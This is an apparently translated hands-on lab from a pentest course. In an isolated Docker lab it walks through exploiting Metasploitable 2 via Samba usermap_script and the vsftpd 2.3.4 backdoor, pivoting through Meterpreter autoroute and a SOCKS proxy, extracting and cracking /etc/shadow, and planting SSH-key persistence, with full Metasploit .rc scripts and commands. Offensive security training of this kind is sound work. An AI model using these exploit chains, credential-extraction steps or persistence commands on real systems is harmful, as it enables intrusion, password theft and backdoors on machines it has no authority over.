Metasploit — Hands-on lab
You redo the walkthrough on your own. Three containers, two isolated networks, one pivot, a shell on a machine the attacker could not see. This is the course's TP2 — deliverable at the end of module 8.
Plan for: 2 h to 3 h.
Deliverable: ~/labs/rapport/pivot.md + every artifact in ~/labs/preuves/ + a reproducible .rc.
This lab lives inside a docker compose with two private networks. No packet leaves your machine. The internal network is marked internal: true, it does not even have a default route to the internet.
Prerequisites
Docker Desktop up and running, inskillsec/kali-lab image already built (see module 01).
Nothing else: the compose file does the work. Two Metasploitable 2 images will be pulled, but they share their Docker layers — you only pay the download once.
Step 1 — Bring the lab up and check segmentation (5 min)
cd labs/docker/module-08-metasploit
docker compose up -d
Give it 45 s to 1 min for both Metasploitable 2 instances to finish services.sh. Then:
cd ..
./verifier-lab.sh module-08-metasploit # bash / macOS / Linux / WSL
.\verifier-lab.ps1 module-08-metasploit # PowerShell
Enter the attacker:
cd module-08-metasploit
docker compose exec attaquant bash
And critically, verify the topology:
ping -c 2 10.20.30.20 # must reply (pivot visible)
ping -c 2 172.16.50.42 # must FAIL (Network is unreachable)
If 172.16.50.42 answers directly from the attacker, segmentation is broken — the pivot has lost its educational value. Fix before continuing:
docker compose down -v
docker compose up -d
Create the evidence folder:
mkdir -p ~/labs/{preuves,rapport,rc}
cd ~/labs
Definition — why the internal network is marked internal: true
A regular Docker network is a bridge: containers on it can, by default, reach the internet through the Docker gateway (NAT). That is handy for a web server that needs to reach external APIs, but disastrous for a pivot lab: the hidden target could simply reach the attacker back over reverse_tcp and the pivot would have no reason to exist.
The internal: true flag on a network definition removes that default route. Containers only on that network (like the hidden target) can reach only the other members of the same network. No internet, no return path to the attacker, no outbound at all.
That is the behavior of a properly configured internal VLAN in a company: the database server is reachable from the application front-ends, it should never initiate outbound traffic. It is also what forces the pentester to use a bind_tcp payload (attacker connects to target) rather than reverse_tcp (target connects to attacker) — the first reflex any attacker builds when facing a real segmented network.
Step 2 — Initial RCE on cible-pivot (20 min)
Do not use vsftpd: that was module 01, we do not repeat. Pick samba/usermap_script (fast, quiet, very pedagogical) or distcc_exec (even simpler).
Create rc/atelier-1-rce.rc:
workspace -a atelier-m08
workspace atelier-m08
use exploit/multi/samba/usermap_script
set RHOSTS 10.20.30.20
set PAYLOAD cmd/unix/reverse_bash
set LHOST 10.20.30.5
set LPORT 4444
run
Run:
msfconsole -q -r rc/atelier-1-rce.rc | tee preuves/01-rce-initiale.log
Goal: Command shell session 1 opened. Verify:
sessions -i 1
id
uname -a
hostname
You should read uid=0(root) and hostname=poste-dev. The session opens directly as root — the Samba service runs as root, the RCE inherits that context.
Definition — why Samba usermap gives root with no extra effort
Samba 3.0.20 to 3.0.25rc3 has a flaw (CVE-2007-2447) in its user-name mapping function. When a client connects with a username that contains shell metacharacters (for instance ; or `), Samba passes that name to an external shell for resolution — without escaping metacharacters. Result: any SMB client can execute arbitrary commands on the server.
The Metasploit usermap_script exploit sends a username of the form /= followed by the command to run. Samba grabs that string, hands it to /bin/sh -c to "resolve" it, and runs the command instead.
Two important details. Samba runs as root on virtually every system — it must, to manipulate POSIX permissions and expose shares as a Windows server. So the injected command executes as root, not as a limited service account. No authentication is required: the vulnerability lies in username mapping, which happens before password verification. A user with a wrong or empty password still triggers the exploit.
That is why the flaw is catastrophic and why it made Metasploitable 2 famous: two command lines, no password, root in three seconds. It is also why you no longer find it in production — the most patched of the truly patched CVEs.
Step 3 — Upgrade the session to Meterpreter (5 min)
A cmd/unix session is useful but very limited. Metasploit ships a much richer engine, Meterpreter, offering an interactive shell, forwarding, file transfer, and above all the tunneling we need for the pivot.
In msfconsole, background session 1 (background) then:
sessions -u 1
Metasploit will upload a Linux Meterpreter binary onto the target and open session 2 as Meterpreter.
Verify:
sessions
You should see:
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix uid=0(root) 10.20.30.5:4444 -> 10.20.30.20
2 meterpreter x86/linux root @ poste-dev 10.20.30.5:xxxx -> 10.20.30.20
Save:
sessions -i 2
sysinfo
getuid
ifconfig
Carefully note the internal interface: the pivot target is also on 172.16.50.20 — that is the path we will use.
Background and log:
spool preuves/02-upgrade.log
sessions
spool off
Step 4 — Open the route (autoroute) (5 min)
This is the central move of the module. Metasploit will route all traffic aimed at 172.16.50.0/24 through the Meterpreter session on the pivot. The pivot becomes a tunnel, transparent for the attacker.
use post/multi/manage/autoroute
set SESSION 2
set SUBNET 172.16.50.0
set NETMASK 255.255.255.0
run
route print
Expected route print output:
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
172.16.50.0 255.255.255.0 Session 2
Save into preuves/03-autoroute.log.
Definition — autoroute is NOT kernel routing
When you hear "autoroute", you think ip route add. That is not at all what Metasploit does. The autoroute command never touches the Kali kernel's routing table. It writes a route into Metasploit's internal table only — a Ruby dictionary saying "for this subnet, send packets through that Meterpreter session".
Concretely: when a later Metasploit module tries to reach 172.16.50.42, the framework sees in its internal table that this subnet goes through session 2. It encapsulates the traffic (TCP at the application level) into the Meterpreter session, sends everything to poste-dev, which unwraps it and makes the real connection from its 172.16.50.20 interface. The reply travels back the same way.
Two important consequences. No tool outside Metasploit uses this route — nmap outside msfconsole is completely unaware of autoroute. We will need a SOCKS proxy to share this path with third-party tools (step 8). And the pivot target does not need IP forwarding enabled at the kernel level, unlike a real system-level pivot. The Meterpreter session plays the forwarder role at the application layer.
That is also why, if session 2 dies, the whole pivot collapses. Save regularly, restore if needed.
Step 5 — Scan the internal network (10 min)
In msfconsole, with autoroute in place:
use auxiliary/scanner/portscan/tcp
set RHOSTS 172.16.50.0/24
set PORTS 21,22,80,139,445,3306,3632,5900,8180
set THREADS 20
run
You find 172.16.50.42 with its open ports. Confirm the target's nature:
use auxiliary/scanner/smb/smb_version
set RHOSTS 172.16.50.42
run
Expected: Host: SERVEUR-BDD Samba 3.X - 4.X. The hidden target is another Metasploitable 2 — same profile, same vulnerabilities.
Save into preuves/04-scan-interne.log.
Step 6 — Exploit the hidden target (15 min)
Mandatory payload: bind_tcp. The hidden target is on an internal: true network, it cannot initiate a connection to the attacker. A reverse_tcp would fail for exactly this reason.
To avoid retyping usermap_script (already used in step 2), let us pick vsftpd 2.3.4 backdoor:
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 172.16.50.42
set PAYLOAD cmd/unix/interact
run
The vsftpd_234_backdoor module needs no additional payload — the backdoor is an open root shell on port 6200 after the authentication.
Check:
sessions -i 3
id
uname -a
hostname
You should read uid=0(root) on serveur-bdd. You have a hand on a machine that never saw your IP.
Save into preuves/05-exploitation-cachee.log.
Definition — bind_tcp vs reverse_tcp, the firewall's smoke screen
In Metasploit, reverse_tcp means "the target connects to the attacker". The attacker fires a handler that listens on their own port, the payload on the target knows where to reach the attacker, the connection is established in that direction. It is the default for most Metasploit payloads and works in environments where the target can go out freely — the target's firewall generally allows outbound connections.
bind_tcp does the reverse: the payload opens a listening port on the target, the attacker connects to that port. It works when the target is reachable but cannot initiate traffic toward the attacker — the exact case of an internal server behind a firewall that only allows inbound.
On a well-built lab, testing both teaches a lot. A reverse_tcp stuck at Started reverse TCP handler never completing is almost always a firewall issue on the return path. A bind_tcp failing with connection refused means the port is already in use or the service has not opened its socket yet.
In professional practice, you try reverse_tcp first (quieter, the target behaves like a client, which is normal). You switch to bind_tcp only when you are sure the return is blocked. On a real enterprise environment, bind_tcp succeeds in less than half the cases — IDSs often notice that a server suddenly opens a new listening port.
Step 7 — Extraction and cracking (15 min)
From the hidden target session (Meterpreter or shell):
sessions -i 3
cat /etc/shadow
Copy the content locally:
# From msfconsole, side terminal:
sessions -i 3 -C "cat /etc/shadow" > /tmp/shadow.txt
Or, more cleanly, from a host shell in the attacker container:
# New terminal, docker compose exec attaquant bash
cat > /tmp/pull-shadow.rc <<'EOF'
sessions -C "cat /etc/shadow" -i 3
EOF
msfconsole -q -r /tmp/pull-shadow.rc | tail -n 20 > preuves/06-shadow-brut.txt
# Keep only the hashes
grep -E '^\w+:\$' preuves/06-shadow-brut.txt > preuves/06-shadow.txt
Crack with John:
john --wordlist=/usr/share/wordlists/rockyou.txt preuves/06-shadow.txt
john --show preuves/06-shadow.txt > preuves/06-passwords.txt
Goal: at least one password cracked. On Metasploitable 2, msfadmin:msfadmin falls in three seconds, and user:user just as fast.
Definition — /etc/shadow and why hashcat on MD5 crypt hashes is instant
/etc/shadow is the Linux file that stores user password hashes. It is readable only by root — hence the importance of having a root shell to grab it. Each line follows the user:hash:... format where the hash field starts with $1$ for MD5 crypt, $5$ for SHA-256 crypt, $6$ for SHA-512 crypt, $y$ for Yescrypt (modern Linux).
On Metasploitable 2, hashes use $1$ (MD5 crypt, 2001). On a modest 2020 GPU, hashcat tries billions of candidates per second against MD5 crypt — a dictionary like rockyou.txt (14 million lines) finishes in under a minute. Every weak password falls.
On a recent system with $y$ (Yescrypt), the same attack takes hours on the same list. The hash strength matters as much as the password strength. That is also why auditing a modern /etc/shadow is slower — and it is good news: weak passwords still fall, just later.
Two things stay constant. A dictionary properly tuned to the context (local language words + company names + year as suffix) breaks more accounts than a raw rockyou. And the presence of a salt (the field after $1$) makes each hash unique — no shared precomputation, each account requires its own work.
Step 8 — SOCKS proxy for external tools (15 min)
Metasploit's autoroute shares nothing with the outside world. To make netexec, nmap or curl also pass through the pivot, open a SOCKS proxy in msfconsole:
use auxiliary/server/socks_proxy
set VERSION 5
set SRVPORT 1080
run -j
Configure /etc/proxychains4.conf on the attacker:
sudo sed -i 's|^socks.*1080|socks5 127.0.0.1 1080|' /etc/proxychains4.conf
grep '^socks' /etc/proxychains4.conf
Test:
proxychains nxc smb 172.16.50.42 -u msfadmin -p msfadmin > preuves/07-nxc-proxychains.log 2>&1
cat preuves/07-nxc-proxychains.log
Goal: the final line [+] WORKGROUP\msfadmin:msfadmin (Pwn3d!) — you authenticated an external tool (netexec) against the hidden target through the Metasploit pivot, without even having a kernel route to 172.16.50.0/24.
Other useful examples:
proxychains nmap -sT -Pn -p 21,22,80,445 172.16.50.42 -oN preuves/07-nmap-through-pivot.txt
proxychains curl -s http://172.16.50.42/ | head -n 30
Definition — SOCKS proxy vs HTTP proxy vs port forwarding
Three different mechanisms often serve the same need — pushing traffic through an intermediary — but behave differently.
An HTTP proxy understands only HTTP and HTTPS (via CONNECT). It inspects request headers, knows how to parse URLs, can perform application-level filtering. Burp is an HTTP proxy. It does not work for SSH, SMB or any other non-HTTP protocol.
A port forward (e.g. ssh -L 8080:172.16.50.42:80) creates a very specific tunnel: one source-destination port pair, nothing else. You need to know the target and port in advance, and one forward per service.
A SOCKS proxy (v5) is protocol-agnostic. The client, before opening its connection, sends a meta-request to the proxy saying "I want to reach IP X on port Y". The proxy opens the connection for it and relays every byte in both directions. It works for any TCP protocol — SSH, SMB, HTTP, RPC. That is what you need when you do not yet know which ports you will want to touch on the target.
Metasploit exposes exactly that with auxiliary/server/socks_proxy. Combined with proxychains on the attacker side, you can push any CLI command through the pivot. It is the universal pattern of modern internal pentesting: Meterpreter for the first foothold, SOCKS for everything else.
Step 9 — The full .rc script (10 min)
Consolidate into rc/atelier-complet.rc. Steps that require interaction (session upgrade, choosing an interactive session) stay manual; we script what can be scripted.
workspace -a atelier-m08
workspace atelier-m08
# --- Phase 1: initial RCE ---
use exploit/multi/samba/usermap_script
set RHOSTS 10.20.30.20
set PAYLOAD cmd/unix/reverse_bash
set LHOST 10.20.30.5
set LPORT 4444
run
rc/atelier-pivot.rc:
workspace atelier-m08
route add 172.16.50.0/24 <METERPRETER-ID>
route print
use auxiliary/scanner/portscan/tcp
set RHOSTS 172.16.50.0/24
set PORTS 21,22,80,139,445,3306
set THREADS 20
run
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 172.16.50.42
set PAYLOAD cmd/unix/interact
run
use auxiliary/server/socks_proxy
set VERSION 5
set SRVPORT 1080
run -j
Replace <METERPRETER-ID> with the real ID after the upgrade. Run:
msfconsole -q -r rc/atelier-complet.rc
# ... manual upgrade via sessions -u 1 ...
# ... note the Meterpreter session id ...
# edit rc/atelier-pivot.rc to fill in the id, then:
msfconsole -q -r rc/atelier-pivot.rc
Step 10 — The report (30 min)
~/labs/rapport/pivot.md — two pages, fixed structure:
# Internal pentest with pivot — Module 08 (date)
## 1. Executive summary (5 lines max)
Two hosts compromised in an isolated internal segment. The hidden target
(serveur-bdd, 172.16.50.42), only reachable through the compromised dev
workstation, handed over its /etc/shadow. Two local accounts cracked in
under a minute. Impact: full administrative access to the database
server from an unauthenticated foothold on the external network.
## 2. Technical scope
- External network: 10.20.30.0/24, attacker 10.20.30.5, pivot .20
- Internal network: 172.16.50.0/24, hidden target .42
- Tools: Metasploit 6.x, hashcat/john, netexec, proxychains4.
- Segmentation verified before launch (ping from attacker to hidden
target fails).
## 3. Exploitation chain
1. Initial RCE on pivot target via Samba usermap (CVE-2007-2447),
immediate root session.
2. Upgrade cmd shell → Meterpreter x86/linux.
3. Metasploit autoroute for 172.16.50.0/24 through the Meterpreter.
4. Internal portscan/tcp, discovery of 172.16.50.42.
5. Confirmation of Metasploitable 2 on hidden target (smb_version).
6. vsftpd 2.3.4 backdoor exploitation with bind payload (mandatory:
internal network isolated, no reverse possible).
7. /etc/shadow extraction, john cracking -> msfadmin, user.
8. SOCKS5 proxy opened, validation via netexec proxychains.
## 4. Evidence (~/labs/preuves/)
- 01-rce-initiale.log
- 02-upgrade.log
- 03-autoroute.log
- 04-scan-interne.log
- 05-exploitation-cachee.log
- 06-shadow.txt, 06-passwords.txt
- 07-nxc-proxychains.log, 07-nmap-through-pivot.txt
## 5. Impact
Full compromise of both machines. Root on the internal target, not
reachable from the internet, was obtained with no known password at
the outset. The chain takes 15 minutes once mastered.
## 6. Recommendations
1. Immediate patching of Samba (CVE-2007-2447) and vsftpd (2.3.4
backdoor).
2. Stronger segmentation: the dev workstation should not have a leg
on the internal server network.
3. Isolate /etc/shadow — audit the uid=0 that do not need it.
4. Strengthen the password policy (block msfadmin/msfadmin and weak
equivalents).
5. Detection: watch for internal SOCKS listener activations and
Metasploit autoroute patterns in the EDR.
## 7. Annexes
- rc/atelier-complet.rc
- rc/atelier-pivot.rc
Self-evaluation checklist
- Three containers running, two networks, direct ping to
172.16.50.42fails from the attacker. - Initial session on
10.20.30.20via something other than vsftpd. - Linux Meterpreter obtained via
sessions -u. - Autoroute added for
172.16.50.0/24. - Internal scan performed from msfconsole, target detected.
- Session obtained on
172.16.50.42with a bind payload (not reverse). -
/etc/shadowextracted and partially cracked (at least one password). - SOCKS proxy opened,
netexectested through proxychains. -
.rcscripts saved. - Two-page report following the template.
What usually breaks
| Symptom | Cause | Fix |
|---|---|---|
| Session 1 dies immediately | cible-pivot not ready yet | Wait 30 s, check docker compose logs cible-pivot. |
sessions -u fails | Initial payload not compatible | Retry with cmd/unix/reverse_bash, more reliable for the upgrade. |
route add: Route already exists | Route left from a previous run | route flush. |
| Internal scan finds nothing | Meterpreter session dead | sessions, verify the Linux one is still alive. Restart if needed. |
bind_tcp refused | Bind port already in use | Change LPORT, e.g. 4455 instead of 4444. |
Autoroute + nxc: no route to host | SOCKS proxy not started in msfconsole | Start it with run -j on auxiliary/server/socks_proxy. |
| John cracks nothing | Rockyou is the wrong source | Also try john --incremental at the end — breaks user and service in seconds. |
docker compose down -v will not free 4444 | Metasploit handler still alive | Exit msfconsole cleanly before down. |
Optional extension — Persistence
Careful: on a client engagement, persistence is tightly framed by the RoE. In the lab we do it to understand the mechanism, then we remove it.
From the Linux Meterpreter session (session 2):
run post/linux/manage/sshkey_persistence -u root
Metasploit drops your public key into /root/.ssh/authorized_keys on the pivot target. After a full container restart, you can come back over plain SSH.
Verify:
docker compose exec attaquant bash
ssh root@10.20.30.20 # should accept your key with no password
To clean up, from a session on the target:
sed -i '/pentester@kali/d' /root/.ssh/authorized_keys
On a real engagement: this creates a backdoor — it must be documented in the report and removed before mission end. A pentester who leaves an SSH key on a customer machine is a pentester no one hires again.
What you take away from this lab
- The physical understanding of a pivot: what the attacker sees vs what the compromised target sees.
- A reproducible end-to-end workflow, from the first scan to credential extraction.
- A set of
.rcscripts that replay the chain. - Mastery of the
bind_tcp/reverse_tcppair — the first reflex to have when facing a real segmented network. - Understanding of the Meterpreter + SOCKS proxy + proxychains pattern, the standard of modern internal pentesting.
- An internal pentest report in a 2-page format, transposable into a client presentation.
Next: the module quiz. Then module 9 — privilege escalation — where we build the habit of moving from a user account to root on every platform we run into.